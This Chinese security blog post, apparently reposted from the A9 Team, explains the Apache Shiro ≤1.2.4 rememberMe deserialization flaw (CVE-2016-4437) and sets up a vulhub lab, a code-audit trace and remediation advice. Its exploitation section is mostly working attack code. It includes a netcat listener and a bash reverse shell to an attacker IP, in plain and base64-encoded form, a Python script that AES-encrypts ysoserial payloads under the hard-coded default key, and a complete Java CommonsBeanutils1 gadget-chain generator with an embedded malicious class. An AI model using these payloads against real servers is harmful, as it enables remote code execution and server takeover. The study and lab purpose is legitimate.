【A9】Shiro 550反序列化漏洞利用与分析

admin 2023年4月3日00:02:56评论43 views字数 8430阅读28分6秒阅读模式

“A9 Team 甲方攻防团队,成员来自安信、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”


01

简介

【A9】Shiro 550反序列化漏洞利用与分析


     Apache Shiro 是一个强大的并且简单使用的java权限框架。主要应用认证(Authentication),授权(Authorization),加密(cryptography),和会话管理(Session Manager).Shiro具有简单易懂的API,使用Shiro可以快速并且简单的应用到任何应用中,无论是从最小的移动app到最大的企业级web应用都可以使用。



02

漏洞概述

Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RemeberMe,cookie的值是经过对相关信息进行序列化,然后使用AES加密,最后再使用base64编码处理形成的。在服务端接收cookie值时,按以下步骤解析:

1.检查RemeberMe cookie的值
2.Base 64解码
3.使用AES解密(密钥硬编码)

4.进行反序列化操作

在调用反序列化的时候未进行任何安全检查,导致可以触发远程代码执行漏洞。
03

影响版本

Apache Shiro ≤ 1.2.4

04

漏洞环境
https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4 下载,然后在tomcat中部署samples web或使用下面的vulhub方式
1、进入vulhub-master/shiro/CVE-2016-4437目录下
2、docker环境启动
docker-compose up -d
3、浏览器访问
http://192.168.2.147:8080

【A9】Shiro 550反序列化漏洞利用与分析

05


漏洞复现和利用
1、反弹shell复现方式
攻击主机192.168.239.128上开启监听端口,方式:

nc -lvvp 9999 


2、被攻击主机上执行下面命令

# bash命令

bash -i >& /dev/tcp/192.168.239.128/9999 0>&1

# bash bese64编码后的命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

下面使用ysoserial工具生成CommonsBeanutils1利用链生成的反弹shell payload。

#shiro_exp.py
import
 sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):

    popen = subprocess.Popen(['java''-jar''ysoserial.jar''CommonsBeanutils1', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode())

3、生成序列化后恶意代码

执行命令 :
python shiro_exp.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

【A9】Shiro 550反序列化漏洞利用与分析


4、然后在Cookie中添加生成好的rememberMe值,提交请求后发现反弹shell成功。

【A9】Shiro 550反序列化漏洞利用与分析


如果想深入了解ysoserial工具中CommonsBeanUtils1利用链的利用代码,可继续往下看。

CommonsBeanutils1链
Shiro中自带了CommonsBeanutils,可以构造CommonsBeanutils链的gadget,在CB包中提供了一个静态方法PropertyUtils#getProperty,让使用者可以直接调用任意JavaBean的getter方法,调用链如下所示。
PriorityQueue.readObject()
  PriorityQueue.heapify()
      PriorityQueue.siftDown()
          PriorityQueue.siftDownUsingComparator()
            comparator.compare() === BeanComparator.compare()
              TemplatesImpl.getOutputProperties()
                TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
                    TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.TransletClassLoader.defineClass()
依据上面CommonsBeanutils1调用链来改写利用代码,其中代码写法有很多种,比如把恶意class文件Base64编码或直接读取恶意的.class文件,或使用Javassist向class文件动态插入代码等方式,可根据实际场景去改写。


Evil.java 恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
}


Javassist动态插入代码:
 String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
 ClassPool classPool=ClassPool.getDefault();
 classPool.appendClassPath(AbstractTranslet);
 CtClass payload=classPool.makeClass("CommonsBeanutils1");
 payload.setSuperclass(classPool.get(AbstractTranslet));
 payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
 byte[] code=payload.toBytecode();


完整的利用代码:
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Test5 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        //byte[] code = Files.readAllBytes(Paths.get("D:\java\shiro-demo\web\target\classes\Evil.class"));也可使用这种方式
                TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes"new byte[][]{code});
        setFieldValue(obj, "_name""aaa");
        setFieldValue(obj, "_tfactory"new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        Queue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property""outputProperties");
        setFieldValue(queue, "queue"new Object[]{obj, obj});
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
                //反序列化
        //System.out.println(barr);
        //ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        //Object o = (Object)ois.readObject();
                //加密
        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
}

运行获取RememberMe

【A9】Shiro 550反序列化漏洞利用与分析

放至在Cookie中,会执行calc命令

【A9】Shiro 550反序列化漏洞利用与分析

因篇幅有限,可根据上面的代码改写成命令回显或注入内存马的利用代码进行深入利用。

06

漏洞分析
网上涉及调试的方式文章有很多,有兴趣的可以通过关键词检索,本次使用常规代码审计方式从readObject反序列化方法入手。

大致分析流程:反序列化方法readObject()→BASE64解码→AES解密→反序列化入口 rememberMe值


1、全局搜索反序列化方法readObject(),定位到DefaultSerializer.java文件,调用的反序列方法deserialize(byte[] serialized)

【A9】Shiro 550反序列化漏洞利用与分析


2、继续跟进定位到convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext),该方法调用了decrypt(bytes);具体可以继续跟进

【A9】Shiro 550反序列化漏洞利用与分析


3、发现采用了AES解密并且默认密钥是 kPH+bIxk5D2deZiIxcaaaA== 

【A9】Shiro 550反序列化漏洞利用与分析
【A9】Shiro 550反序列化漏洞利用与分析
【A9】Shiro 550反序列化漏洞利用与分析


4、然后回到 convertBytesToPrincipals 方法,找到调用方法getRememberedPrincipals(SubjectContext subjectContext) ,跟进方法

getRememberedSerializedIdentity,主要是从Cookie中获取rememberMe值做Base64解码

【A9】Shiro 550反序列化漏洞利用与分析
【A9】Shiro 550反序列化漏洞利用与分析


5、回到 getRememberedPrincipals 继续跟进找到调用方法 

getRememberedIdentity(SubjectContext subjectContext)

【A9】Shiro 550反序列化漏洞利用与分析


6、继续跟进到resolvePrincipals(SubjectContext context)  

createSubject(SubjectContext subjectContext)

【A9】Shiro 550反序列化漏洞利用与分析
【A9】Shiro 550反序列化漏洞利用与分析


7、最后跟到登录

login(Subject subject, AuthenticationToken token)

executeLogin(ServletRequest request, ServletResponse response)

调用了 createToken(request, response)

【A9】Shiro 550反序列化漏洞利用与分析
【A9】Shiro 550反序列化漏洞利用与分析


8、最后跟进createToken方法,可以看到登录页面中提交的用户名和密码,rememberMe,host
【A9】Shiro 550反序列化漏洞利用与分析
【A9】Shiro 550反序列化漏洞利用与分析

07

修复方式


1、替换默认秘钥或随机生成

2、升级Shiro至最新安全版本









原文始发于微信公众号(A9 Team):【A9】Shiro 550反序列化漏洞利用与分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月3日00:02:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【A9】Shiro 550反序列化漏洞利用与分析https://cn-sec.com/archives/1644426.html

发表评论

匿名网友 填写信息